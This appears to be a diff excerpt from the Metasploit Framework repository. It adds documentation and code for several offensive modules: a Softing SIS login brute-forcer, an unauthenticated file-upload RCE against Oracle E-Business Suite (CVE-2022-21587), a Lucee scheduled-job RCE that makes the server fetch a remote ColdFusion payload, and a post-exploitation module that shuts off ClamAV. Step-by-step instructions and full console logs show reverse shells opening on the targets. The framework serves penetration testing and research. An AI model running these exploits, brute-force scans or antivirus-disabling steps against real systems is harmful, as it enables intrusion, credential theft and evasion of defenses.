[*] Scanned 2 of 3 hosts (66% complete)
|
||||
[+] 192.168.50.206:8099 - Success: 'admin:pass123'
|
||||
[+] 192.168.50.206:8099 - Success: 'admin1:admin123'
|
||||
[*] Scanned 3 of 3 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(scanner/http/softing_sis_login) >
|
||||
```
|
||||
|
||||
Note that `VERBOSE` was set to `false` in this scenario to reduce amount of output on screen.
|
||||
By default, `VERBOSE` is set to true, which also outputs failed login attempts.
|
||||
|
||||
`creds` output:
|
||||
|
||||
```
|
||||
msf6 auxiliary(scanner/http/softing_sis_login) > creds
|
||||
Credentials
|
||||
===========
|
||||
|
||||
host origin service public private realm private_type JtR Format
|
||||
---- ------ ------- ------ ------- ----- ------------ ----------
|
||||
192.168.50.71 192.168.50.71 8099/tcp (http) admin P@ssw0rd Password
|
||||
192.168.50.119 192.168.50.119 8099/tcp (http) admin admin Password
|
||||
192.168.50.206 192.168.50.206 8099/tcp (http) admin pass123 Password
|
||||
192.168.50.206 192.168.50.206 8099/tcp (http) admin1 admin123 Password
|
||||
|
||||
msf6 auxiliary(scanner/http/softing_sis_login) >
|
||||
```
|
||||
@@ -1,6 +1,6 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Froxlor is an open source web hosting control panel. Froxlor v2.0.6 and below suffers from a bug that allows
|
||||
Froxlor is an open source web hosting control panel. Froxlor v2.0.7 and below suffers from a bug that allows
|
||||
authenticated users to change the application logs path to any directory on the OS level which the user www-data can
|
||||
write without restrictions from the backend which leads to writing a malicious Twig template that the application will
|
||||
render. That will lead to achieving a remote command execution under the user www-data.
|
||||
|
||||
@@ -0,0 +1,135 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits CVE-2022-21587, an unauthenticated arbitrary file upload vulnerability in Oracle
|
||||
Web Applications Desktop Integrator as shipped with Oracle E-Business Suite (EBS) versions
|
||||
12.2.3 through to 12.2.11.
|
||||
|
||||
The exploit uploads a Java Server Page (JSP) payload in order to achieve code execution
|
||||
as the `oracle` user, and will use the `java/jsp_shell_reverse_tcp` payload by default.
|
||||
|
||||
The Oracle EBS product is shipped as either a standalone appliance based on Linux, or an self
|
||||
hosted application supporting multiple platforms, including Linux, Windows, Solaris, AIX and
|
||||
HP-UP. This exploit module has been tested against the Linux based appliance, specifically
|
||||
version 12.2.10.
|
||||
|
||||
A full technical analysis of the vulnerability can be found on
|
||||
[AttackerKB](https://attackerkb.com/topics/Bkij5kK1qK/cve-2022-21587/rapid7-analysis).
|
||||
|
||||
## Target Setup
|
||||
|
||||
To setup the Oracle EBS appliance, you must download the appliance files, rebuild the appliance
|
||||
image and install the appliance as a [VirtualBox](https://www.virtualbox.org/) virtual machine.
|
||||
|
||||
* Register an account at [Oracle E-Delivery](https://edelivery.oracle.com/osdc/faces/SoftwareDelivery)
|
||||
and login to search for the required software. You will need to search for `REL: Oracle VM Virtual Appliance for
|
||||
Oracle E-Business Suite` to find the appropriate download links. The version number should be listed at the end of the link.
|
||||
|
||||
* You will be presented with multiple ZIP files to download. These files will be extracted and
|
||||
concatenated to create a single 70 GB Oracle Virtual Appliance (OVA) file. Instructions on how
|
||||
to do this, as well as additional configuration instructions, can be found in the extracted
|
||||
documentation located in `\V1005962-01\Documents\Oracle VM Virtual Appliance for Oracle E-Business
|
||||
Suite Deployment Guide_Release 12.2.10.html`. Additionally a step by step guide for installation
|
||||
and setup is available [here](https://blog.rishoradev.com/2021/04/12/oracle-ebs-r12-on-virtualbox/).
|
||||
|
||||
* Import the OVA file into VirtualBox. Once this is completed you may power on the virtual appliance.
|
||||
You will require around 320 GB of hard disk space to complete this operation. Note, issues were encountered
|
||||
if the IP address for the appliance changed after the initial install. It is recommended to use either a
|
||||
static IP address or ensure your DHCP server provides the same address to the appliance.
|
||||
|
||||
* When booting the virtual appliance you will be asked to select a Linux kernel to boot from. The option
|
||||
`Oracle Linux Server 7.9, with Linux 3.10.0-1160.11.1.e17.x86_64` was chosen during testing.
|
||||
|
||||
* Upon booting the virtual appliance for the first time you will be asked to login. Enter the username `root`
|
||||
and follow the instructions displayed in the console to set the default passwords for the `root` and
|
||||
`oracle` and `applmgr` user accounts. If asked to install the VISION demo instance, enter `VISION` to install
|
||||
the demo data.
|
||||
|
||||
* Once installation and setup has been completed, you can SSH into the appliance as the user
|
||||
`oracle` and start the database and application services with the following commands. Note, it has been observed that
|
||||
when starting the apps, some may timeout when starting (an error will be displayed in the console), and may require
|
||||
running `startapps.sh` a second time.
|
||||
|
||||
```
|
||||
cd /u01/install/APPS/scripts/
|
||||
./startdb.sh
|
||||
./startapps.sh
|
||||
```
|
||||
|
||||
* You can now access the WebLogic server over HTTP port `8000`.
|
||||
|
||||
## Options
|
||||
|
||||
## Verification Steps
|
||||
|
||||
From msfconsole perform the following steps:
|
||||
|
||||
1. `use exploit/linux/http/oracle_ebs_rce_cve_2022_21587`
|
||||
2. Set `RHOST` to the target address and `RPORT` to the target port. The default `RPORT` is 8000 for
|
||||
HTTP and 4443 for HTTPS. If using HTTPS set `SSL` to `true`.
|
||||
3. Set `LHOST` and `LPORT` values for the default `java/jsp_shell_reverse_tcp` payload.
|
||||
4. `check` to ensure the target is vulnerable.
|
||||
5. `exploit`
|
||||
6. Verify a command session has been opened and you can execute commands as the `oracle` user.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Oracle E-Business Suite 12.2.10 - Oracle Virtual Appliance (OVA)
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/oracle_ebs_rce_cve_2022_21587
|
||||
[*] Using configured payload java/jsp_shell_reverse_tcp
|
||||
msf6 exploit(linux/http/oracle_ebs_rce_cve_2022_21587) > show options
|
||||
|
||||
Module options (exploit/linux/http/oracle_ebs_rce_cve_2022_21587):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metaspl
|
||||
oit/basics/using-metasploit.html
|
||||
RPORT 8000 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (java/jsp_shell_reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
SHELL no The system shell to use.
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Oracle EBS on Linux
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/http/oracle_ebs_rce_cve_2022_21587) > set RHOST 192.168.86.37
|
||||
RHOST => 192.168.86.37
|
||||
msf6 exploit(linux/http/oracle_ebs_rce_cve_2022_21587) > set LHOST 192.168.86.5
|
||||
LHOST => 192.168.86.5
|
||||
msf6 exploit(linux/http/oracle_ebs_rce_cve_2022_21587) > check
|
||||
[*] 192.168.86.37:8000 - The target appears to be vulnerable. Oracle EBS version 12.2.10 detected.
|
||||
msf6 exploit(linux/http/oracle_ebs_rce_cve_2022_21587) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.86.5:4444
|
||||
[*] Targeting the endpoint: /OA_HTML/BneUploaderService
|
||||
[*] Triggering the payload...
|
||||
[+] Deleted /u01/install/APPS/fs1/FMW_Home/Oracle_EBS-app1/applications/forms/forms/ygrne.jsp
|
||||
[*] Command shell session 1 opened (192.168.86.5:4444 -> 192.168.86.37:59288) at 2023-02-10 12:20:43 +0000
|
||||
|
||||
id
|
||||
uid=54321(oracle) gid=54321(oinstall) groups=54321(oinstall),54322(dba) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
|
||||
uname -a
|
||||
Linux apps 3.10.0-1160.11.1.el7.x86_64 #1 SMP Tue Dec 15 11:58:45 PST 2020 x86_64 x86_64 x86_64 GNU/Linux
|
||||
exit
|
||||
[*] 192.168.86.37 - Command shell session 1 closed.
|
||||
msf6 exploit(linux/http/oracle_ebs_rce_cve_2022_21587) >
|
||||
```
|
||||
@@ -0,0 +1,221 @@
|
||||
# Vulnerable Application
|
||||
Lucee is an Open Source ColdFusion server/engine intended for rapid web development. Many implementations of
|
||||
ColdFusion files support dynamic input and server side code execution.
|
||||
In the case of this module, Lucees implementation supports the use of `cfexecute` and `cfscript` tags in `.cfm` files.
|
||||
|
||||
In addition to these features, Lucee provides a scheduled job feature. This feature will accept an
|
||||
external `url` argument and query that page on execution. If logging is enabled, it is possible to
|
||||
query a remote ColdFusion document, log it in the web root, and access it to execute its code,
|
||||
subsequently achieving arbitrary server side code execution. The payload will run as the user
|
||||
specified during the Lucee installation. On Windows, this is a service account; on Linux,
|
||||
it is either the root user or lucee.
|
||||
|
||||
The series of requests to achieve this is as follows.
|
||||
|
||||
1. Authenticate as the administrator to the web admin panel
|
||||
2. Create a scheduled job that includes a URL to the remote ColdFusion document
|
||||
3. Update the scheduled job to turn on logging and ensure that the remote document is logged to the web root
|
||||
4. Execute the scheduled job. The Lucee server will now reach out to and download the ColdFusion document from the attackers server
|
||||
5. Access the document at the web root of the server, thus executing the payload.
|
||||
|
||||
The basic format for the remote ColdFusion document is as follows.
|
||||
```html
|
||||
<cfscript>
|
||||
cfexecute(name="powershell.exe", arguments="-c whoami",timeout=5);
|
||||
</cfscript>
|
||||
```
|
||||
|
||||
The scheduled job feature of Lucee is available in all versions currently available through the vendors website,
|
||||
available [here](https://download.lucee.org/).As this is default functionality that does not require
|
||||
any additional setup/configuration, the application is vulnerable immediately upon setup.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Download and install Lucee from the vendors website. This can be done on either a Windows or Unix host.
|
||||
No additional setup is needed beyond the initial installation walkthrough
|
||||
2. Start MSF Console
|
||||
3. Do: `use multi/http/lucee_scheduled_job`
|
||||
4. Choose a target that reflects the target system
|
||||
- `use X` (0 for Windows, 1 for Linux)
|
||||
5. Select payload. This functions with command execution payloads and supports reverse shells and generic commands.
|
||||
6. Select the desired payload and complete its requirement. `CMD`, `LHOST`, `LPORT`, etc.
|
||||
7. Select the appropriate `RHOST`, `PASSWORD`, and (if necessary), the `TARGETURI`
|
||||
8. Execute the payload. You should either receive a shell or see the output of your command.
|
||||
|
||||
## Options
|
||||
|
||||
### RHOSTS
|
||||
|
||||
Remote host to target.
|
||||
|
||||
### RPORT
|
||||
|
||||
Port being used by the Lucee admin panel. Default is 8888
|
||||
|
||||
### PASSWORD
|
||||
|
||||
The password of the administrative user. Lucee does not use a username, only a password to access the admin panel.
|
||||
|
||||
### TARGETURI
|
||||
|
||||
Target URI of the Lucee administrator panel. Default is
|
||||
|
||||
`/lucee/admin/web.cfm/`
|
||||
|
||||
|
||||
### PAYLOAD_DEPLOY_TIMEOUT
|
||||
|
||||
Periodically, the target web server may take a moment to download and make the payload accessible. This
|
||||
parameter determines how long the exploit should wait until considering the payload inaccessible.
|
||||
|
||||
|
||||
## Scenarios
|
||||
### Successful exploitation of a Windows 10 host running Lucee 5.3.10.120 for a service account shell
|
||||
```
|
||||
msf6 > use exploit/multi/http/lucee_scheduled_job
|
||||
[*] Using configured payload cmd/windows/generic
|
||||
msf6 exploit(multi/http/lucee_scheduled_job) > set payload cmd/windows/powershell_reverse_tcp
|
||||
payload => cmd/windows/powershell_reverse_tcp
|
||||
msf6 exploit(multi/http/lucee_scheduled_job) > set RHOSTS 10.0.0.164
|
||||
RHOSTS => 10.0.0.164
|
||||
msf6 exploit(multi/http/lucee_scheduled_job) > set LHOST 10.0.0.45
|
||||
LHOST => 10.0.0.45
|
||||
msf6 exploit(multi/http/lucee_scheduled_job) > set PASSWORD admin123
|
||||
PASSWORD => admin123
|
||||
msf6 exploit(multi/http/lucee_scheduled_job) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.19.145:4444
|
||||
[+] Authenticated successfully
|
||||
[*] Using URL: http://192.168.19.145:8081/W7hSRT7xJLjosBr.cfm
|
||||
[+] Job W7hSRT7xJLjosBr created successfully
|
||||
[+] Job W7hSRT7xJLjosBr updated successfully
|
||||
[*] Executing scheduled job: W7hSRT7xJLjosBr
|
||||
[+] Job W7hSRT7xJLjosBr executed successfully
|
||||
[*] Attempting to access payload...
|
||||
[*] Payload request received for /W7hSRT7xJLjosBr.cfm?RequestTimeout=50 from 192.168.19.131
|
||||
[*] Attempting to access payload...
|
||||
[*] Powershell session session 1 opened (192.168.19.145:4444 -> 192.168.19.131:53204) at 2023-02-28 19:52:46 -0600
|
||||
[*] Received 500 response from W7hSRT7xJLjosBr.cfm
|
||||
[+] Exploit completed.
|
||||
[*] Removing scheduled job W7hSRT7xJLjosBr
|
||||
[+] Scheduled job removed.
|
||||
[*] Server stopped.
|
||||
[!] This exploit may require manual cleanup of 'C:\lucee\tomcat\webapps\ROOT\W7hSRT7xJLjosBr.cfm' on the target
|
||||
|
||||
|
||||
Shell Banner:
|
||||
Windows PowerShell running as user LOCAL SERVICE on HOMELAB-BINCE
|
||||
Copyright (C) Microsoft Corporation. All rights reserved.
|
||||
-----
|
||||
|
||||
PS C:\lucee\tomcat>
|
||||
```
|
||||
### Successful exploitation of a Windows 10 host running Lucee 5.3.10.120 executing whoami
|
||||
```
|
||||
msf6 > use exploit/multi/http/lucee_scheduled_job
|
||||
[*] Using configured payload cmd/windows/generic
|
||||
msf6 exploit(multi/http/lucee_scheduled_job) > set PASSWORD admin123
|
||||
PASSWORD => admin123
|
||||
msf6 exploit(multi/http/lucee_scheduled_job) > set CMD whoami
|
||||
CMD => whoami
|
||||
msf6 exploit(multi/http/lucee_scheduled_job) > set RHOSTS 10.0.0.164
|
||||
RHOSTS => 10.0.0.164
|
||||
msf6 exploit(multi/http/lucee_scheduled_job) > run
|
||||
|
||||
[+] Authenticated successfully
|
||||
[*] Using URL: http://192.168.19.145:8081/UHn0jvUP2ZDtgwN.cfm
|
||||
[+] Job UHn0jvUP2ZDtgwN created successfully
|
||||
[+] Job UHn0jvUP2ZDtgwN updated successfully
|
||||
[*] Executing scheduled job: UHn0jvUP2ZDtgwN
|
||||
[+] Job UHn0jvUP2ZDtgwN executed successfully
|
||||
[*] Attempting to access payload...
|
||||
[*] Payload request received for /UHn0jvUP2ZDtgwN.cfm?RequestTimeout=50 from 192.168.19.131
|
||||
[*] Attempting to access payload...
|
||||
[+] Received 200 response from UHn0jvUP2ZDtgwN.cfm
|
||||
[+] Output: nt authority\local service
|
||||
[+] Exploit completed.
|
||||
[*] Removing scheduled job UHn0jvUP2ZDtgwN
|
||||
[+] Scheduled job removed.
|
||||
[*] Server stopped.
|
||||
[!] This exploit may require manual cleanup of 'C:\lucee\tomcat\webapps\ROOT\UHn0jvUP2ZDtgwN.cfm' on the target
|
||||
[*] Exploit completed, but no session was created.
|
||||
```
|
||||
|
||||
### Successful exploitation of a Docker host running Lucee 5.1.4.19 for a shell as Lucee
|
||||
```
|
||||
msf6 > use exploit/multi/http/lucee_scheduled_job
|
||||
[*] Using configured payload cmd/windows/generic
|
||||
msf6 exploit(multi/http/lucee_scheduled_job) > set PASSWORD admin123
|
||||
PASSWORD => admin123
|
||||
msf6 exploit(multi/http/lucee_scheduled_job) > set target 1
|
||||
target => 1
|
||||
msf6 exploit(multi/http/lucee_scheduled_job) > set payload cmd/unix/reverse_bash
|
||||
payload => cmd/unix/reverse_bash
|
||||
msf6 exploit(multi/http/lucee_scheduled_job) > set LHOSTS 10.0.0.45
|
||||
LHOST => 10.0.0.45
|
||||
msf6 exploit(multi/http/lucee_scheduled_job) > set RHOSTS 10.0.0.33
|
||||
RHOSTS => 10.0.0.33
|
||||
msf6 exploit(multi/http/lucee_scheduled_job) > set PASSWORD admin123
|
||||
PASSWORD => admin123
|
||||
msf6 exploit(multi/http/lucee_scheduled_job) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.19.145:4444
|
||||
[+] Authenticated successfully
|
||||
[*] Using URL: http://192.168.19.145:8081/CUyWHyD6Y.cfm
|
||||
[+] Job CUyWHyD6Y created successfully
|
||||
[+] Job CUyWHyD6Y updated successfully
|
||||
[*] Executing scheduled job: CUyWHyD6Y
|
||||
[+] Job CUyWHyD6Y executed successfully
|
||||
[*] Attempting to access payload...
|
||||
[*] Payload request received for /CUyWHyD6Y.cfm?RequestTimeout=50 from 192.168.19.145
|
||||
[*] Attempting to access payload...
|
||||
[*] Received 500 response from CUyWHyD6Y.cfm Check your listener!
|
||||
[+] Exploit completed.
|
||||
[*] Removing scheduled job CUyWHyD6Y
|
||||
[+] Scheduled job removed.
|
||||
[+] Deleted /srv/www/app/webroot/CUyWHyD6Y.cfm
|
||||
[*] Command shell session 1 opened (192.168.19.145:4444 -> 192.168.19.145:58686) at 2023-02-28 19:56:11 -0600
|
||||
[*] Server stopped.
|
||||
|
||||
whoami
|
||||
root
|
||||
```
|
||||
### Successful exploitation of a Docker host running Lucee 5.1.4.19 executing whoami
|
||||
```
|
||||
msf6 > use exploit/multi/http/lucee_scheduled_job
|
||||
[*] Using configured payload cmd/windows/generic
|
||||
msf6 exploit(multi/http/lucee_scheduled_job) > set PASSWORD admin123
|
||||
PASSWORD => admin123
|
||||
msf6 exploit(multi/http/lucee_scheduled_job) > set target 1
|
||||
target => 1
|
||||
msf6 exploit(multi/http/lucee_scheduled_job) > set RHOSTS 127.0.0.1
|
||||
RHOSTS => 127.0.0.1
|
||||
msf6 exploit(multi/http/lucee_scheduled_job) > set payload cmd/unix/generic
|
||||
payload => cmd/unix/generic
|
||||
msf6 exploit(multi/http/lucee_scheduled_job) > set CMD whoami
|
||||
CMD => whoami
|
||||
msf6 exploit(multi/http/lucee_scheduled_job) > set PASSWORD admin123
|
||||
PASSWORD => admin123
|
||||
msf6 exploit(multi/http/lucee_scheduled_job) > run
|
||||
|
||||
[+] Authenticated successfully
|
||||
[*] Using URL: http://192.168.19.145:8081/GCHSFzGe.cfm
|
||||
[+] Job GCHSFzGe created successfully
|
||||
[+] Job GCHSFzGe updated successfully
|
||||
[*] Executing scheduled job: GCHSFzGe
|
||||
[+] Job GCHSFzGe executed successfully
|
||||
[*] Attempting to access payload...
|
||||
[*] Payload request received for /GCHSFzGe.cfm?RequestTimeout=50 from 192.168.19.145
|
||||
[+] Received 200 response from GCHSFzGe.cfm
|
||||
[+] Output: root
|
||||
[+] Exploit completed.
|
||||
[*] Removing scheduled job GCHSFzGe
|
||||
[+] Scheduled job removed.
|
||||
[*] Server stopped.
|
||||
[!] This exploit may require manual cleanup of '/srv/www/app/webroot/GCHSFzGe.cfm' on the target
|
||||
[*] Exploit completed, but no session was created.
|
||||
```
|
||||
## Caveats
|
||||
There are a few caveats worth mentioning that are inherent to Lucee's implementation of ColdFusion
|
||||
- When a shell command returns multiple lines of output, coldfusion may limit the amount that is returned; i.e. it
|
||||
will return the full value of an `ls` command, but it may not return the full value of `netstat`
|
||||
@@ -0,0 +1,55 @@
|
||||
### Description
|
||||
This module will cause the ClamAV service to be shutoff on Linux hosts.
|
||||
ClamAV uses a Unix socket that allows non-privileged users to interact with the ClamAV daemon via utilities like "clamscan".
|
||||
However, no additional checks are required to trigger ClamAV's shutdown.
|
||||
|
||||
## Verification Steps
|
||||
### Shuting off ClamAV
|
||||
1. Launch `msfconsole`
|
||||
2. Get a Meterpreter shell on a Linux host that's also running ClamAV.
|
||||
3. Do: `use post/linux/manage/disable_clamav`
|
||||
4. Do: `set SESSION <session number on the Linux host>`
|
||||
6. Do: `exploit -j`
|
||||
7. The daemon should be shutoff.
|
||||
|
||||
## Scenarios
|
||||
```
|
||||
msf6 post(linux/manage/disable_clamav) > sessions
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
4 meterpreter x86/linux dllcoolj @ 192.168.130.1 127.0.0.1:4444 -> 127.0.0.1:38360 (127.0.0.1)
|
||||
|
||||
msf6 post(linux/manage/disable_clamav) > show options
|
||||
|
||||
Module options (post/linux/manage/disable_clamav):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
CLAMAV_UNIX_SOCKET /run/clamav/clamd.ctl yes ClamAV unix socket
|
||||
SESSION 4 yes The session to run this module on
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 post(linux/manage/disable_clamav) > ps -ef | grep 'clamd'
|
||||
[*] exec: ps -ef | grep 'clamd'
|
||||
|
||||
clamav 132021 1 16 18:51 ? 00:00:09 clamd
|
||||
dllcoolj 132533 71177 0 18:52 pts/3 00:00:00 sh -c ps -ef | grep 'clamd'
|
||||
dllcoolj 132535 132533 0 18:52 pts/3 00:00:00 grep clamd
|
||||
msf6 post(linux/manage/disable_clamav) > exploit -j
|
||||
[*] Post module running as background job 10.
|
||||
msf6 post(linux/manage/disable_clamav) >
|
||||
[*] Checking file path /run/clamav/clamd.ctl exists and is writable...
|
||||
[+] File does exist and is writable!
|
||||
[*] Shutting down ClamAV!
|
||||
|
||||
msf6 post(linux/manage/disable_clamav) > ps -ef | grep 'clamd'
|
||||
[*] exec: ps -ef | grep 'clamd'
|
||||
|
||||
dllcoolj 132927 132925 0 18:52 pts/3 00:00:00 grep clamd
|
||||
```
|
||||
@@ -0,0 +1,141 @@
|
||||
require 'metasploit/framework/login_scanner/http'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module LoginScanner
|
||||
class SoftingSIS < HTTP
|
||||
|
||||
DEFAULT_PORT = 8099
|
||||
DEFAULT_SSL_PORT = 443
|
||||
PRIVATE_TYPES = [ :password ]
|
||||
LOGIN_STATUS = Metasploit::Model::Login::Status
|
||||
|
||||
# Check if the target is Softing Secure Integration Server
|
||||
#
|
||||
# @return [Boolean] TrueClass if target is SIS, otherwise FalseClass
|
||||
def check_setup
|
||||
# we can interact with this endpoint as an unauthenticated user
|
||||
uri = normalize_uri("#{uri}/runtime/core/product-version")
|
||||
res = send_request({ 'uri' => uri })
|
||||
# make sure we get a response, and that the check was successful
|
||||
unless res && res.code == 200
|
||||
return { status: LOGIN_STATUS::UNABLE_TO_CONNECT, proof: res.to_s }
|
||||
end
|
||||
|
||||
# convert the response to JSON
|
||||
# we expect to see a response like {"version" : "1.22.0.8686"}
|
||||
res_json = res.get_json_document
|
||||
# if we successfully get the version
|
||||
if res_json['version']
|
||||
# return true
|
||||
return res_json['version']
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
# the actual login method, called by #attempt_login
|
||||
#
|
||||
# @param user [String] The username to try
|
||||
# @param pass [String] The password to try
|
||||
# @return [Hash]
|
||||
# * status [Metasploit::Model::Login::Status]
|
||||
# * proof [String] the HTTP response body
|
||||
def do_login(user, pass)
|
||||
# prep the data needed for login
|
||||
protocol = ssl ? 'https' : 'http'
|
||||
# attempt to get an authentication token
|
||||
auth_token_uri = normalize_uri("#{uri}/runtime/core/user/#{user}/authentication-token")
|
||||
|
||||
# send the request to get an authentication token
|
||||
auth_res = send_request({
|
||||
'method' => 'GET',
|
||||
'uri' => auth_token_uri,
|
||||
'cookie' => 'lang=en; user=guest'
|
||||
})
|
||||
|
||||
# check if we get a response
|
||||
unless auth_res
|
||||
return { status: LOGIN_STATUS::UNABLE_TO_CONNECT, proof: auth_res.to_s }
|
||||
end
|
||||
|
||||
# convert the response to JSON
|
||||
auth_json = auth_res.get_json_document
|
||||
# if the response code is 404, the user does not exist
|
||||
if auth_res.code == 404 && auth_json && auth_json['Message']
|
||||
return { status: LOGIN_STATUS::INCORRECT, proof: auth_json['Message'] }
|
||||
end
|
||||
|
||||
# if the response code is 403, the user exists but access is denied
|
||||
if auth_res.code == 403 && auth_json && auth_json['Message']
|
||||
return { status: LOGIN_STATUS::DENIED_ACCESS, proof: auth_json['Message'] }
|
||||
end
|
||||
|
||||
# get authentication token
|
||||
auth_token = auth_json['authentication-token']
|
||||
# check that the token is not blank
|
||||
if auth_token.blank?
|
||||
framework_module.vprint_error('Received empty authentication token!')
|
||||
return { status: LOGIN_STATUS::INCORRECT, proof: auth_res.body.to_s }
|
||||
end
|
||||
|
||||
login_uri = normalize_uri("#{uri}/runtime/core/user/#{user}/authentication")
|
||||
# calculate signature to use when logging in
|
||||
signature = Digest::MD5.hexdigest(auth_token + pass + auth_token + user + auth_token)
|
||||
# GET parameters for login
|
||||
vars_get = {
|
||||
'Signature' => signature,
|
||||
'User' => user
|
||||
}
|
||||
|
||||
# do the login
|
||||
res = send_request({
|
||||
'method' => 'GET',
|
||||
'uri' => login_uri,
|
||||
'cookie' => 'lang=en; user=guest',
|
||||
'headers' => { 'Referer' => "#{protocol}://#{host}:#{port}" },
|
||||
'vars_get' => vars_get
|
||||
})
|
||||
|
||||
unless res
|
||||
return { status: LOGIN_STATUS::UNABLE_TO_CONNECT, proof: res.to_s }
|
||||
end
|
||||
|
||||
# the response is in JSON format
|
||||
res_json = res.get_json_document
|
||||
# a successful response will contain {"Message": "Success"}
|
||||
if res.code == 200 && res_json && res_json['Message'] == 'Success'
|
||||
return { status: LOGIN_STATUS::SUCCESSFUL, proof: res.body }
|
||||
end
|
||||
|
||||
{ status: LOGIN_STATUS::INCORRECT, proof: res.body }
|
||||
end
|
||||
|
||||
# Attempts to login to Softing Secure Integration Server
|
||||
#
|
||||
# @param credential [Metasploit::Framework::Credential] The credential object
|
||||
# @return [Result] A Result object indicating success or failure
|
||||
def attempt_login(credential)
|
||||
result_opts = {
|
||||
credential: credential,
|
||||
status: Metasploit::Model::Login::Status::INCORRECT,
|
||||
proof: nil,
|
||||
host: host,
|
||||
port: port,
|
||||
protocol: 'tcp'
|
||||
}
|
||||
|
||||
begin
|
||||
result_opts.merge!(do_login(credential.public, credential.private))
|
||||
rescue ::Rex::ConnectionError => e
|
||||
# something went wrong during login
|
||||
result_opts.merge!(status: LOGIN_STATUS::UNABLE_TO_CONNECT, proof: e.message)
|
||||
end
|
||||
|
||||
Result.new(result_opts)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -32,7 +32,7 @@ module Metasploit
|
||||
end
|
||||
end
|
||||
|
||||
VERSION = "6.3.4"
|
||||
VERSION = "6.3.5"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
||||
@@ -17,6 +17,9 @@ module Msf::Exploit::Remote::AuthOption
|
||||
# plaintext authentication is used
|
||||
PLAINTEXT = 'plaintext'
|
||||
|
||||
# SCHANNEL authentication is used.
|
||||
SCHANNEL = 'schannel'
|
||||
|
||||
# Do not authenticate with the service
|
||||
NONE = 'none'
|
||||
|
||||
@@ -41,6 +44,7 @@ module Msf::Exploit::Remote::AuthOption
|
||||
AUTO,
|
||||
NTLM,
|
||||
KERBEROS,
|
||||
SCHANNEL,
|
||||
PLAINTEXT,
|
||||
NONE
|
||||
]
|
||||
|
||||
@@ -78,7 +78,7 @@ module Msf
|
||||
client_info = Rex::Proto::Kerberos::Pac::Krb5ClientInfo.new(
|
||||
client_id: logon_time,
|
||||
name: user_name
|
||||
)
|
||||
)
|
||||
|
||||
server_checksum = Rex::Proto::Kerberos::Pac::Krb5PacServerChecksum.new(
|
||||
signature_type: checksum_type
|
||||
@@ -97,7 +97,7 @@ module Msf
|
||||
|
||||
pac_type = Rex::Proto::Kerberos::Pac::Krb5Pac.new
|
||||
pac_type.assign(pac_elements: pac_elements)
|
||||
pac_type.sign!(key: opts[:checksum_enc_key])
|
||||
pac_type.sign!(service_key: opts[:checksum_enc_key])
|
||||
pac_type
|
||||
end
|
||||
|
||||
|
||||
@@ -30,13 +30,14 @@ module Msf
|
||||
OptBool.new('SSL', [false, 'Enable SSL on the LDAP connection', false]),
|
||||
Msf::OptString.new('DOMAIN', [false, 'The domain to authenticate to']),
|
||||
Msf::OptString.new('USERNAME', [false, 'The username to authenticate with'], aliases: ['BIND_DN']),
|
||||
Msf::OptString.new('PASSWORD', [false, 'The password to authenticate with'], aliases: ['BIND_PW']),
|
||||
Msf::OptString.new('PASSWORD', [false, 'The password to authenticate with'], aliases: ['BIND_PW'])
|
||||
])
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
*kerberos_storage_options(protocol: 'LDAP'),
|
||||
*kerberos_auth_options(protocol: 'LDAP', auth_methods: Msf::Exploit::Remote::AuthOption::LDAP_OPTIONS),
|
||||
Msf::OptPath.new('LDAP::CertFile', [false, 'The path to the PKCS12 (.pfx) certificate file to authenticate with'], conditions: ['LDAP::Auth', '==', Msf::Exploit::Remote::AuthOption::SCHANNEL]),
|
||||
OptFloat.new('LDAP::ConnectTimeout', [true, 'Timeout for LDAP connect', 10.0])
|
||||
]
|
||||
)
|
||||
@@ -86,6 +87,35 @@ module Msf
|
||||
end
|
||||
|
||||
case datastore['LDAP::Auth']
|
||||
when Msf::Exploit::Remote::AuthOption::SCHANNEL
|
||||
pfx_path = datastore['LDAP::CertFile']
|
||||
fail_with(Msf::Exploit::Remote::Failure::BadConfig, 'The LDAP::CertFile option is required when using SCHANNEL authentication.') if pfx_path.blank?
|
||||
fail_with(Msf::Exploit::Remote::Failure::BadConfig, 'The SSL option must be enabled when using SCHANNEL authentication.') if datastore['SSL'] != true
|
||||
|
||||
unless ::File.file?(pfx_path) and ::File.readable?(pfx_path)
|
||||
fail_with(Msf::Exploit::Remote::Failure::BadConfig, 'Failed to load the PFX certificate file. The path was not a readable file.')
|
||||
end
|
||||
|
||||
begin
|
||||
pkcs = OpenSSL::PKCS12.new(File.binread(pfx_path), '')
|
||||
rescue => e
|
||||
